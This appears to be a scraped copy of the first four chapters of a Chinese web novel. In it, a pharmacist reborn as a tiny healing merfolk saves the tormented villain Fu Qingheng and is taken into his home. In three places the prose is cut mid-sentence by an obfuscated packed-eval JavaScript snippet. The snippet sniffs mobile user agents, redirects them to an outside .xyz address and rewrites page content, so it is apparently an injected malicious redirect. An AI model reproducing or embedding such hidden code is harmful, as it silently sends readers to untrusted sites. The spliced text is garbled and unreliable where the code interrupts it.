《暴戾小人鱼也可以是治愈系嘛》 1. 第 1 章 深夜,天低云暗。 阴郁的天际如一汪不见底的深潭,酝酿着狂风暴雨。 人鱼繁育基地内,一片安静祥和。 恒温灯在大厅屋顶垂下,橙黄色的灯光给横跨基地的人鱼池覆上一层淡淡的暖色。 水池中,小人鱼三三两两挤在礁石上睡觉。 ——‘哗啦’ 银白色的鱼尾顺着水面荡起的浪花扫过,带起阵阵涟漪。 下一刻,小人鱼在水中伸出手,一把按在身边露出水面的假珊瑚上,借力浮出水面。 “呼……”虞淮辞趴在珊瑚上长舒一口气,抬手撩起湿漉漉的长发别到耳后,精致的眉眼上透出几分无奈与疲惫。 他单手撑着下颚,回头望向水中银白色的鱼尾,随着视线落下,鱼尾生疏僵硬的摆动,飘逸的尾尖在水中像丝绸般轻晃。 对于一个不会游泳的旱鸭子来说,没有老师,只靠自己摸索,用两天时间能游成这样已经很不错了。 两天前,虞淮辞还在钻研古法制药。 虞家是老牌医药世家,作为虞家年轻一辈中制药制毒天赋最高的,虞淮辞年纪轻轻就成为了享誉国内外的知名药剂师。 钻研新药陷入瓶颈,虞淮辞索性跳出瓶颈,随便在网上买了本小说,打算看看爽文放松一下心情。 小说是以男主视角,一路向上步步高升,在一切人事物垫脚下走上联邦最高位的升级流爽文。 傅青桁作为男主的哥哥,也是小说中最大的对照组反派。 在有男主的场合,傅青桁处处被打压,明明出身联邦高层贵族家庭,从小经历严格训练,是所有人眼中光风霁月的天之骄子,背地里却被亲生父亲当成试药工具。 在药物的作用下,傅青桁的身体和精神都产生了不同程度的异样,再加上长期外出执行任务,没有得到过很好的休息,异样很快就延伸成了精神识海的疾病躁动。 奈何寻常的治疗仪和医疗手段无法疗愈精神识海,而星际中拥有治愈精神识海能力的小人鱼又都掌握在上面人的手中,场面话说的漂亮,却按死了傅青桁购买人鱼的可能。 反派时刻忍受精神识海溃散剧痛的折磨,即便如此,他依旧凭借自己的实力从战场拼杀出一条生路。 然而,家人非但没有为此感到高兴,反而在他凯旋时栽赃陷害他通敌,假造与帝国通讯信件,亲生父亲站出来,亲口承认他叛国,将傅青桁钉在耻辱柱上。 在傅青桁努力收集证据自证洗刷罪名时,亲生父亲干脆下重药引发精神力暴动,在傅青桁失去意识,无差别攻击时,原文男主出面,将他击杀。 傅青桁的家人亲手拖他入泥潭,在网上肆意抹黑,否定他的一切,将他塑造成一个无恶不作,彻头彻底的恶人,最后再利用他的死来铺垫男主的高光时刻。 有点损招全使反派身上了。 看的虞淮辞恨不得给那个不学无术,只知道抢反派功劳的男主一拳,反派渣家人更是两拳。 原本是想看书舒缓心情,结果这篇文看完,虞淮辞越想越气,太阳穴突突直跳,起身倒杯水的功夫,他眼前一黑就失去了意识。 等思绪再次回笼,虞淮辞就发现自己穿成了一条小人鱼。 与普通人鱼不同,文中的小人鱼像是专门培育出来给人们治疗精神力的伙伴,体型上不过十几厘米,没有狰狞的獠牙锋利的指甲和一尾巴能拍碎头盖骨的强健体魄,独有针对精神力的灵力。 人鱼繁育基地有上百条小人鱼,根据灵力高低所反馈的治疗水平的不同,分别养在不同的地方,更多的则是散养在池子里。 虞淮辞靠坐在假珊瑚上,撬开随处可见的扇贝,挑出里面的贝肉咀嚼,不知道是不是穿成小人鱼以后,口味也有变化,扇贝肉吃起来都比以前印象里的要鲜甜很多。 既来之则安之,就是虞家直系血脉发展到现在就只剩下他一个人,他穿书了,传承是不是也断了。 嗯……但仔细一想,断了,也没完全断。 虞淮辞苦中作乐的想,毕竟,传承之前还只是传到二十一世纪,现在都已经传到星际了嘛。 吃完扇贝,虞淮辞拍了拍手,随意一抛,扇贝壳精准的落在岸边的假沙滩上,成为了上面的装饰品之一。 人鱼繁育基地,对于身处其中的小人鱼来说算得上是与世隔绝。 虞淮辞自从穿进来,唯一能接触到傅青桁的地方,就是工作人员摸鱼占用大屏播放视频,偶尔会有傅青桁的相关新闻时会放他的照片或者视频,除此之外,再没有其他。 窗外的雨酝酿许久后终于落下,瓢泼大雨挥洒拍打在玻璃上,屋内却没有响起半点声音。 虞淮辞瞥了一眼窗外,阴沉的天色看不出时间,但估摸着离天亮还早,他索性离开假珊瑚,落回水里,继续练习游泳。 “诶——?你看,那条人鱼……”岸边,巡逻的工作人员轻声开口。 声音不算大,但在寂静的场馆内格外清晰。 虞淮辞下意识朝着声音来源的方向看了一眼。 工作人员身边的同事惊讶道:“怎么回事?嘶、尾巴受伤了?残疾吗?怎么残的?也没见它们打架啊。” 虞淮辞:“???” 你怎么讲话的?! 认真游泳的银白色小人鱼一个急刹车,瞬间坠了下去。 没入水下的刹那,虞淮辞险些被水呛到,好在人鱼可以在水下呼吸,不然他真的要成为世界上第一条被淹死的人鱼了。 虞淮辞缓缓浮出水面,面无表情的和岸边的工作人员对视。 工作人员顿了顿,刚才银白色小人鱼一顿操作,让他倒吸一口凉气后确认,“坏了,好像真是残疾,单纯的受伤游不成这样。” 虞淮辞:“……” 好了,不要再强调了。 这个话题再聊下去就不礼貌了。 工作人员两手一摊,“我不管啊,这明显不是筛查的纰漏,与我无关。” 旁边的同事紧接着开口:“跟我也没关系,到时候是天生的还是会后期打架造成的都能检查出来的,肯定怪不到我头上。” 两人你一言我一语讨论的激烈,虞淮辞摇了摇头,深吸一口气准备潜入水底,突然一声巨响。 ——轰! 爆炸声轰鸣,大地震颤。 基地内光影晦暗,吊灯在翻腾的溅起的水花冲刷下失去光亮,掉落的珊瑚礁零零碎碎坠入水中。 与之而来的是窗外,雷鸣骤起,伴着滂沱大雨,豆大的雨珠连成幕遮天蔽日笼罩而下。 忽明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16434083|184937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忽暗的灯光消失,整片大地仿佛置身于混沌幽暗之中。 虞淮辞正游到一半,本就不稳的身形被海水带着翻涌,‘咕噜咕噜……’绵密的气泡模糊了本就不清晰的视线。 银白色的鱼尾用力一甩,虞淮辞借着水流的力量把自己带回了假珊瑚边,伸手抓住假珊瑚才勉强稳住身形。 “咳咳。”虞淮辞止不住的呛咳,湿漉漉的眼眸环顾四周,看这地动山摇的景象喃喃狐疑道:“地震了?” 电光石火间,仿佛世界倾颓,天地倒转。 隐没水中的小人鱼慌不择路的乱窜,晃荡的基地像是巨大的鱼缸,水流犹如翻涌的巨浪,稍有不慎就会被水中暗流卷入池底。 被巨大的冲击力波及,基地内一片混乱,交错的脚步声踩在被水浸透的岸边,头顶传来工作人员紧张的嘶吼声。 “敌袭——!一级防御!” “保护人鱼!” ——‘滴滴’ 伴随着指令输入成功的提示音,场馆外侧的光幕展开,将整个人鱼繁育基地笼罩在内。 工作人员观察着窗外景象,对讲机举到嘴边大声指挥道:“打开声波!把人鱼引导进下层防护池。” 虞淮辞还没搞懂防护池是什么,却见胡乱游动的小人鱼们像是瞬间找到主心骨一样,同一时间朝着同一个方向游去。 下一刻,尖锐如利刃一样刺穿耳膜的声音传来。 虞淮辞条件反射般眯起眼睛,动作快于思考,已然没入水中朝着声音相反的方向游去。 他想……他知道声波是什么东西了。 这似乎是一种只有人鱼能听到的声音,所有人鱼都在向前,试图避开这道声音。 人鱼繁育基地用这种方式,在极端情况下调控人鱼。 虞淮辞曲起指尖按了按耳朵,古怪的声音刺的耳朵嗡鸣,“好吵。” 他蹙着眉,跟上小人鱼的队伍,打算先下去看看情况,现在身处的池子边边角角他都找过,没有可以离开这里的小路,去到下面说不定有机会。 不急着离开,可要是能趁乱找到可以离开的缺口也不错。 原文中傅青桁在第一次被拒绝以后,就意识到了上层那些人的交易与桎梏,之后就再也没来过。 虽然不知道现在这个时间节点,傅青桁有没有被人鱼繁育基地拒绝,但多做几手准备,总是没错的。 虞淮辞摆动鱼尾,游离在队伍最末端。 就在他思考对策的时候,场馆外的光幕骤然碎裂,刚刚升腾起的些许光亮也与之溃散。 虞淮辞仰起头,细碎的光斑映在他银白色的眼眸中,远处一道巨大的黑影快速坠落。 ——砰! 巨大的机甲在与繁育基地的透明玻璃顶触碰的瞬间狠狠砸下,玻璃顶和防御光幕不堪一击。 在机甲即将与水面碰撞时,一阵繁杂的电流声后,机甲凭空消失,被收拢回旋钮的机甲不能提供外力帮助,驾驶员失去平衡,直直的坠入水中。 电闪雷鸣间,一道光亮打过。 落下的人面容瞬间被照亮,下一秒直接被水面浪花卷走,消失在视野之中。 漂浮于水面上的虞淮辞却缓缓睁大了眼睛。 那人好像是…… 傅青桁?! 2. 第 2 章 即便只是瞬间,虞淮辞也确信自己没有看错。 就是不知道为什么,傅青桁会以这样的方式出现在人鱼繁育基地。 脑海中回忆着小说原文的内容,傅青桁与人鱼繁育基地相关的剧情,除了中期来买人鱼被拒,就只有最开始,虫族偷袭人鱼繁育基地,这方面的剧情被一笔带过,只写到傅青桁在人鱼繁育基地保护任务中身受重伤,很多细节都没有表达出来。 导致虞淮辞一开始都没把眼下的场景和原文联系起来。 外层防护罩都被打碎了,足以见得傅青桁硬抗虫族这一下,扛了多少冲击。 人鱼繁育基地的人造水池向地下延伸百米,在长宽高各个方面为人鱼提供舒适的活动空间。 此刻,傅青桁除了坠入水中的瞬间溅起水花,翻腾的水浪掩盖了一切痕迹,断裂的珊瑚礁伴随着零零散散的碎石‘噼里啪啦’与池水融为一体。 混乱之下,傅青桁仿佛就此销声匿迹。 耳边声波的音调好像又高了几分,虞淮辞抿了下唇,强压下心底的不适,努力忽视外力带来的不适感,他咬紧牙关,游向了与人鱼群相反的方向。 水下。 被声波驱赶着逃窜的人鱼和逆流的虞淮辞打了个照面,快速拍打着的鱼尾带起一串串绵密的泡沫。 虞淮辞侧身躲过人鱼群,极速游动的水流却带着他在水中打了个旋,不习惯在水下张开嘴,他闷哼一声,“呜!” 遮挡视野的泡沫还没散去,一块黑色的破损珊瑚飞了过来,虞淮辞摆动鱼尾去躲,眼见着表面凹凸不平的珊瑚擦过脸颊。 虞淮辞抬手挥开眼前泡沫,朝着傅青桁沉底的方向游了过去。 越往下,光线越暗淡。 室内的光影本就照不到水下,更何况现在水面之上也是一片漆黑。 恒温系统似乎照顾不到池低,随着一点点向下,水池的温度越来越低。 幽暗的池底像是深不见底的寒潭。 斑驳交错的石块层后,傅青桁仰躺在水下,眉眼上看不出一丝一毫的表情,凤眸微张却没有焦距,像是失去意识,没有知觉的提线木偶一样,安安静静的随着被躁动的水流带着移动。 水流的气息灌入口鼻,失去氧气无法呼吸,窒息的感觉缠绕颈间,死亡高举镰刀准备随时收割他的生命。 傅青桁却没有半点挣扎的意图。 好黑。 夜里,一点光也看不见。 在月亮照不到的地方,他想: ——就这样死去也好。 用死亡来挣脱束缚。 逃脱出反复重生的牢笼。 像是被禁锢在世界循环之内,他每一次死亡之后,都会重新回到一切开始的时候。 从军校并肩作战的伙伴背刺开始,无论他做什么,如何自救,试图修改走向与结局,却总在收集齐证据的最后一刻死在最亲的家人手上,反反复复泯灭他的希望。 ——“你个废物!” “我们傅家怎么出了你这么个没用的东西。” “你生来就是弟弟的垫脚石,不然要你有什么用?!” “傅家为你提供了这么多资源,你应该懂得感恩。” “你的死能帮你弟弟做点事,也算你这个当大哥的荣幸。” “去、死、吧。这是你唯一的价值。” 一次次被捅穿心脏,父亲的怒斥萦绕在耳边,狰狞的面容在眼前快速闪过,铺垫大脑深处血腥的回忆。 法则是无形的束缚,在规则下,他无法挣脱,即使知道未来的一切,也只能像是提线木偶一样完成既定的任务,走过一个个重要的,扬名立万的时间点,最后用自己血肉拼杀换来的荣誉,铺就亲生弟弟的元帅之路,挣扎求存下走向受万人鄙夷,被亲人一刀穿心的必死结局。 好累。 无数次反复重来,无数次尝试自救,似乎已经耗尽了傅青桁所有的力气。 或许,他早该认命。 早该接受一切命运的馈赠,不做任何反抗的将他所拥有的一切拱手相让,不该挣扎,无力挣扎。 疲倦裹挟着水流席卷,耳朵听不到一丝一毫的声音,整个人被水流包裹,沉溺其中。 这一次,傅青桁放弃自救,任由自己沉入水底,在静谧的水流中提前迎接死亡的降临。 就这样……结束吧。 不必挣扎。 生命掌握在自己手中。 让一切,在最开始停止,或许也是在数百次反复鞭笞中,最好的结局。 ——‘哗啦’ 沉寂安宁的水底,一道细微的水流声划过。 银白色的鱼尾甩过,扫开飘浮的碎石,点点微光荡起弧度,像是在寂静的黑夜中高悬的月亮纡尊降贵的坠下淡淡光晕。 那是傅青桁荒芜贫瘠的视野中所能窥见到唯一的光。 缺氧的窒息感让他大脑混沌,陷入无法思考的境地,一切的反应似乎都放缓,僵直的身形更像是按下了暂停键。 下一刻,眼前泡沫光影浮动。 点点光晕划破冗长的黑暗。 银白色的小人鱼破开绵密的泡沫,圆溜溜的眼中满是惊喜的笑意,“呜!” 真的是你! 我果然没有看错。 傅青桁眼眸微眯,还没有做出任何反应,小人鱼便围着他绕着圈的游了起来。 百遍反复的既定的规则出现一丝差异。 突然出现的小人鱼,是记忆中未曾出现过的变数。 ‘砰砰、’ ‘砰砰、’ 陌生的,未知的一切,让他如死灰般的心脏有了臆动的反应。 心脏跳动的声音敲击着耳膜,傅青桁薄唇微抿,浑浑噩噩的大脑下不出操纵身体的指令,水下飘忽的手臂却缓缓抬起,指尖触向那抹时隐时现的光。 ‘啵’ 小人鱼吐出的气泡破碎,他抓住傅青桁的指尖,努力摆动尾巴向上,“呜……” 别躺着啦,我们先上去。 即便是在水下,有水的浮力帮忙,以小人鱼的身形,也很难将一个成年男人拖拽上岸。 傅青桁毫无反应,虞淮辞心下一惊,该不会磕到哪里失去意识了吧? 在水下失去意识是会死人的。 思及此,虞淮辞着急起来,索性抱住傅青桁的手腕,尾巴绷直了用力试图拽他上去。 小人鱼柔软的尾尖扫过脸颊,荡开的灵力瞬间将两人包裹。 莹白色的光晕像半透明的球体一样,在漆黑的水底尤为明显。 虞淮辞面露茫然。 ——这是什么? 柔和莹润的灵力没入身体,傅青桁死寂一般的目光渐渐有了焦距,身形顺着小人鱼引领向上。 虞淮辞也顾不得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16434084|184937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 搞清楚那光球是什么,只感觉身体越来越没力气,不敢再耽搁,他鱼尾轻晃,拉着傅青桁游出了水面。 ‘哗!’ “咳咳、咳咳——!”趴在岸边,傅青桁湿漉漉的头发狼狈的垂下,几近窒息的肺部注入空气,火辣辣的刺痛感让他呛咳不断。 虞淮辞靠在傅青桁身边,伸手想拍拍他的后背帮他顺气。 奈何身高差距太大,即使在水里,他举高了手,也只能拍到傅青桁腰间。 紧绷的神经松懈下来,疲累与倦意后知后觉的蔓延至全身。 虞淮辞困得眼皮都在打架,感觉好像浑身的力气都被抽空了一样,他拽了拽傅青桁的衣摆,正要说些什么,却见远处有两道人影走近,他瞬间警铃大作。 ——不好! 衣摆轻微的触碰像是被浪花扫过,傅青桁似有所感的低头,目光所及之处却没有那条银白色小人鱼的身影,只有破损的衣摆在水面起伏。 不见了。 傅青桁沉默着,刚才在水下所发生的一切好像是一场虚幻的,不切实际的梦。 一个将死之人的临终臆想。 浮出水面,一切就都犹如水下泡影那样,消失殆尽。 一时间,傅青桁有些分不清幻想与现实。 他、是已经死了吗? “傅先生。”走在前面的工作人员面色难看,“我代表人鱼繁育基地,对你奋不顾身抵挡虫族保护基地表达感谢,但今天人鱼繁育基地里发生的一切,我将会如实向上报告。” 听到声音,傅青桁恍惚的意识渐渐回笼。 他还没有死。 他还活着。 循着心底隐秘的期盼,他下意识的低头再次看向身侧,平静下来的水面波光粼粼,依旧不见那条银白色的小人鱼。 好像…… 真的是幻觉。 “诶呦,看看看看这弄的!”身旁的同事一路走一路踢着地上的碎石过来,“虫族袭击就让它们打啊,现在弄的……” 同事的声音越来越低,在对上傅青桁的视线,后面的话呐呐的没入唇边。 傅青桁手撑着岸边在水中起身,被水浸透的外套披在身上,他淡淡道:“聒噪。” 说着,不等工作人员回答便转身离开。 同事撇了撇嘴,“装什么,连个正经军衔都没有硬气什么,保护C区本来就是他的责任,出了这么大纰漏还在这冷着个脸,装模作样,我呸。” 工作人员淡淡道:“谨言慎行。” 同事翻了个白眼,脚上踢着岸边的垃圾碎石进水池,语气不忿道:“今天基地的财产损失都该他赔!” --- 屋外的雨还在下。 没有了先前电闪雷鸣的模样,大雨冲刷着夜幕,街道上零星几辆悬浮车驶过,转眼钻入雨幕。 ——‘咔哒’ 别墅的门锁打开。 屋内灯光在同时点亮。 傅青桁满身疲惫,脑海中一帧帧闪过在水底时的所见。 真实的梦境与虚无的现实交织。 傅青桁拖着沉重的步伐走进浴室,打开淋浴,水流淅淅沥沥落下,抬起的手却在脱下外套时顿住。 他身形微僵,似有所感的打开位于外套腰侧的口袋。 就见一条银白色的小人鱼蜷缩在他衣服口袋的角落,枕着自己的尾巴睡的香甜。 3. 第 3 章 怔愣。 沉默。 银白色小人鱼意料之外的出现冲击着他浑噩的思绪。 耳边淋浴的水流声和雨水敲打窗户的声音交织,傅青桁维持着这个姿势,身形缓缓僵硬,捻着口袋边缘的指尖一点点泛白,他眼睛一瞬不眨的看着里面的小家伙,巨大的冲击下,他的大脑一片空白。 像是一生倒霉透顶突然被巨大的惊喜砸中,一时间不知道作何反应。 不是梦。 是真的。 银白色的小人鱼周身有一层淡淡的光晕,在睡梦中无意识的释放灵力。 治愈系的灵力像是高山冷冽的清泉,轻柔的抚平精神识海的翻滚燥热的神经。 浴室内,是水声都掩盖不下的心脏剧烈跳动的声音。 傅青桁动作缓慢,试探着伸出手,指尖悬在小人鱼露出的半边脸颊上微微颤抖,不经意间擦过传来微凉的触感,他下意识的蜷起指尖。 呼呼大睡的小人鱼蹙了下眉,抬手胡乱挥了挥,撞上作乱的手时一把抓住,眼睛都没睁开,顺势翻了个身,把手压住,无知无觉间给自己换了个枕头,虞淮辞抿了抿唇,蹙起的眉头平复,蹭了蹭带有温度的‘枕头’,心满意足的继续睡觉。 顿时,傅青桁跟打了石膏的雕塑一样,连呼吸都放轻了。 --- 雨下了一整夜。 前半夜的疾风骤雨转到后半夜只剩下窸窸窣窣的小雨,时不时落下几滴在窗户上,向下划出一条斑驳的水痕。 大雨过后的白天,碧空如洗,漂在半空中的云都格外的轻盈。 虞淮辞舒舒服服一觉睡的很沉,舒适的环境比人鱼繁育基地坚硬的礁石床安稳的多。 “呜……”银白色的小人鱼把手高举过脑袋,整个摊开,舒舒服服的伸了个懒腰,扒拉着身下的‘枕头’,找个合适的位置把下巴垫了上去。 “……?” 枕头? 水池里哪来的枕头? 虞淮辞一个激灵,初醒的那点困倦消失得一干二净,后背一阵发凉,睁开眼睛才突然反应过来,他昨天钻进傅青桁的口袋里出来了。 而他枕着的枕头……是傅青桁掌心向上搭在桌上的手。 环顾四周,从不远处巨大的落地书架上看,这里大概率是书房或者办公室。 嗯。 真不错。 虞淮辞轻抬下颚,对自己办事利落果断非常满意。 幸亏他眼疾手快,看见工作人员过来就钻进了傅青桁衣服口袋里。 不然还不知道什么时候才能出来。 或许是他睡觉不太老实总会乱动,傅青桁似乎习惯了手上时不时传来动静,他翻身,傅青桁都没什么反应。 虞淮辞张了张嘴,想说话却先是一愣,简单却又没有答案的问题浮现在脑海中——人鱼、会说人话吗? 他在人鱼繁育基地待的这几天,好像没有听过人鱼说过话,相互之间没有用特殊的语言交谈,跟饲养员之间就更没有交流。 犹豫了一下,到嘴边的话忘了,虞淮辞索性没有开口,视线掠过傅青桁的手,落在了他的身上。 傅青桁换了一身家居服,相比于身着正式的训练服,看起来没那么生人勿进,窗帘半掩着,柔和的灯光映着他冷硬的侧脸。 作为原文中,除了主角之外,出场最多的反派,傅青桁的各方个面无疑是顶尖的。 垂眸间,微冷的面容上如羽的眼睫在眼底打下小片阴影,碎发垂在眉骨上,挺翘的鼻梁下薄唇微抿,凤眸淡淡的扫过电脑半透明的虚拟屏幕,指尖滑动,像是在下拉翻动网络页面。 虞淮辞歪头瞥了一眼,只见屏幕上密密麻麻的搜索记录。 #惊!饲养小人鱼你不知道的那些事。# #如果要养好小人鱼,这三点你一定要重视!# #养小人鱼必须知道的禁忌。# #这几件事你以为是对小人鱼好,实际上……# #新手养小人鱼一站式喂养攻略。# …… 虞淮辞一目十行的看下来,感觉头晕眼花。 从变的暗淡的字体上看,这些个帖子,傅青桁应该是都一个个点进去看过了。 不止这些,大部分的标题都是暗淡的。 这样翻,更像是全看过一遍以后的查漏补缺。 这么多帖子,哪怕一个帖子只看三秒,也是不小的工作量。 正想着,滑动的界面停了。 屏幕上,鼠标落在帖子的相关推荐上。 说是推荐,更像是做成一条横幅的随页面刷新的广告通知。 【近期,沿海星系有野生小人鱼出没,如您遇到野生小人鱼切勿私养,警惕野生小人鱼身上携带病菌。】 【发现有野生小人鱼出现,请立联系人鱼繁育基地,会有专人到场处理。】 【如果您需要小人鱼的帮助,请认准唯一官方指定购买渠道:人鱼繁育基地。】 野外生活对于体型不大的小人鱼来讲是一个不小的挑战。 人类对海洋的开发不足百分之十,即使是星际时代,也没能摸清楚海底,更不确定海底有什么深海巨兽。 但相对的,野生小人鱼体质上要比会繁育基地培养的好的多。 有人目击野生小人鱼出现,官方就开始蠢蠢欲动了。 这个广告跟虞淮辞关系不大,却让他想到另外一个问题。 ——他算是藏在傅青桁口袋里偷跑出来的。 人鱼繁育基地那边应该还不知道他跑了。 而且,以傅青桁的情况,显然不可能是走正规渠道买的。 不然他一觉睡醒就应该在人鱼繁育基地的池子里,而不是在这。 所以,他离开人鱼繁育基地,严格意义上来讲是不合规的,甚至是不合法的。 那这样的话……傅青桁看了这个通报以后,会不会放弃养他的想法,把他给送回去? 毕竟,傅青桁这个人就是这样,正直又忠于职守,一身正气忠于联邦,甚至有些是盲目信任亲人家人,不然也不会被打压踩踏的这么彻底。 抛开他的原生家庭不谈,可以说他本人是没有任何污点。 或许就是过于洁白正派的人满身污浊风评反转跌落神坛,更能映衬出原文主角的闪光点。 所以…… 虞淮辞注意到傅青桁停下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16434085|184937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许久未翻动网页的手,似乎是在犹豫。 这可不行! 好不容易从那个鬼地方跑出来,再回去的话,傅青桁根本不可能走正规合法流程把他买回来。 虞淮辞一下坐直了身子,下一刻,就见傅青桁面无表情的浏览完全部内容以后,点开了举报界面。 “……?” 嗯? 鼠标顺着举报勾选的内容一路向下,有害信息、不良引导、网络诈骗……等等等等,全部勾选,一个也没落下。 最后鼠标点击‘确定提交’的时候,由于勾选太多,界面都卡顿了一下。 举报以后,傅青桁面不改色的浏览下一个帖子。 虞淮辞缓慢的眨了下眼睛,这个反派好像……有哪里不太对劲。 傅青桁似有所觉的向下睨了一眼,猝不及防的和虞淮辞四目相对。 屏幕上弹窗提示‘您提交的举报已收到’不断闪烁。 虞淮辞弯了弯眼睛,拍拍傅青桁的掌心,“呜!” 早上好! “睡醒了。”傅青桁声音有些哑,开口后他自己先是一顿。 暂时放下电脑里的资料,傅青桁起身说:“我给你准备了一些食物。” 虞淮辞刚睡醒,倒还不是很饿,他在人鱼繁育基地的时候多会捡一些贝壳生蚝来吃,这些食物生吃他还能接受,专门给小人鱼吃的像是饲料一样的鱼食,他是看都不会看一眼的。 傅青桁准备的该不会是鱼食饲料吧? 还没想到答案,傅青桁已经走到了楼下。 小型别墅地上两层,厨房和餐厅都在一楼。 此刻的餐桌上,摆满了各式各样的……生鱼片和贝类切片鱿鱼须之类的。 有点像是海鲜大杂烩铺了满桌。 他对小人鱼的了解全都来源于网络信息。 但对于小人鱼的食物又是一人一个说法,每个小人鱼的口味不同,喜欢的食物也不同。 最简单的办法,就是把小人鱼能吃的食物都给他尝试一下,看小人鱼的反应选出最喜欢的那个。 虞淮辞嘴巴微微张开,那中间那条都赶上三个他那么大了! “不喜欢这些?”傅青桁不太能清楚的感知到小人鱼的想法,但也能发觉他有想要表达的意思。 “呜?”虞淮辞一愣,摇了摇头,就是有点被堆积成山的海鲜震撼到。 走近了,虞淮辞才发现在一盘盘的海鲜旁边,还摆了一套小桌椅,像是正常餐桌椅等比例缩小的产物。 傅青桁的视线在小桌椅上顿了顿,伸手把小人鱼递过去的时候指甲不受控的蜷起,顿了顿,他收回手,若无其事的在餐桌边坐下,“尝尝看,有喜欢的告诉我。” 送到嘴边的生鱼片,虞淮辞张嘴咬住,薄如蝉翼的鱼片没有半点腥味,新鲜的鱼肉脆口弹牙,比人鱼繁育基地的贝壳好吃多了! 鱼片切成适合入口的小块。 小人鱼吃的两颊鼓鼓的,慢慢咀嚼的样子映在傅青桁眼底。 他没忍住,等回过神来,指尖已经戳在了小人鱼的脸颊上。 认认真真吃饭的虞淮辞睁圆了眼睛,银灰色的眼眸望向他,“呜?” 4. 第 4 章 傅青桁眸光微动,故作淡定的挪开视线,“没什么,想问问你要不要试试雪贝。” 说着,他端起装有雪贝切片的盘子和小人鱼身侧的盘子交换。 相比于鱼片的如蝉翼轻薄透光,贝类的切片要厚实一些。 虞淮辞优哉游哉的晃了晃尾巴,雪贝上沾了些像是酱油调料的东西,他收回了伸出去的手,不想弄脏自己的手。 但比他高的筷子用起来也有些困难。 虞淮辞想了想,调整坐姿整个向后,后背抵着傅青桁的手指做靠背,尾尖轻轻拍打着他的小臂,在傅青桁低头看过来的时候,“啊——!” 傅青桁几乎是瞬间会意,放下手上调换的盘子,拿起筷子夹了一片雪贝,在盘子边缘点了点,让上面的蘸料留在盘子里小半,“来。” “呜、” 谢谢。 虞淮辞鼓励似的拍拍他的手指,干得不错。 厚切的雪贝味道鲜甜,口感上也更有嚼劲,比起轻薄的鱼片更合他的胃口。 耳边传来轻笑声,虞淮辞咀嚼的动作一顿,诧异抬眸,嗯? 在笑什么? 傅青桁难得的心情不错,从小人鱼的表情中读懂他的意思,说话都带着笑意,“我好像有些理解了,语言中一些词存在的意义。” 小人鱼真的……可爱。 很可爱。 虞淮辞似懂非懂的点点头,不愧是大反派,在吃饭这种小事上都能更深层次的探索人生。 傅青桁视线触及到小人鱼有些懵懂的眼神,看起来好像是没听懂什么意思但是选择点头认同的感觉,微扬的嘴角又忍不住向上更深的弧度。 虞淮辞尾巴点点盘子边缘,“呜?” 你不吃一些吗? 生鱼片在小人鱼的食谱上,不等同于小人鱼专属鱼粮,人也可以吃。 “要这个?”傅青桁顺着他的意思夹起生鱼片。 “呜、”雪贝还没咽下,就又被喂了一口生鱼片。 虞淮辞按住筷子,‘嚼嚼嚼’试图开口。 不是这个意思。 语言不通可真是一个大问题。 “筷子?”傅青桁以为小人鱼想要,直接给了他。 虞淮辞抱着比自己还高的筷子陷入沉思,自己拿筷子夹东西吃有些勉强,但——他放下一根,只留一根筷子去戳生鱼片。 傅青桁单手撑着下颚,看着小人鱼的动作,脑海中却在回想着在帖子上看到的科普,试图将小人鱼现在的行为和文字信息对上号。 或许是……吃饱了,在玩? 还是不喜欢吃这个鱼片,看见它还在桌子上表示抗议? 一个合格的饲养员,要做到在小人鱼做出一个不寻常动作后,迅速反应出他的意思。 傅青桁猜测着种种可能,蓦地感觉嘴角一凉,繁杂打结的思绪骤然僵住,视线重新聚焦。 小人鱼稳稳抱着筷子,而筷子尖端是几片生鱼片串在一起,他眉眼弯弯,明亮的眼眸映着他的面容,在傅青桁看过来时,又把筷子往前送了些,“啊——” 冷静如傅青桁,也有片刻愣神。 这是、给他的? 微凉的鱼片似乎泛着热气,有什么东西渐渐升温。 长期被漠视的灵魂第一次被注意到,被给予。 傅青桁抿了下唇,明显的情绪波动让他感觉有些陌生,可这种感觉好像也不赖。 他轻咬下鱼片,喉结微滚,味觉还没品出滋味,便先开口,“味道不错。” 小人鱼点点头,“呜。” 我也这样觉得。 …… 桌上的海鲜品类太多,以至于虞淮辞吃饱了还没能把所有的海鲜都尝个遍。 虽然这顿饭没吃上炒菜火锅,但也是他穿过来以后吃的最好的一顿了。 剩下的海鲜也没有浪费,大部分都进了傅青桁的肚子。 虞淮辞摊在傅青桁掌心消食,吃饱喝足该干正事啦! 如果说之前还不确定现在是什么时候,在经过昨晚的事情以后,虞淮辞确定自己是穿进来的时间节点是故事最开始。 这个时候的傅青桁虽然已经接受了傅家的药物实验,但精神识海还没有开始恶化。 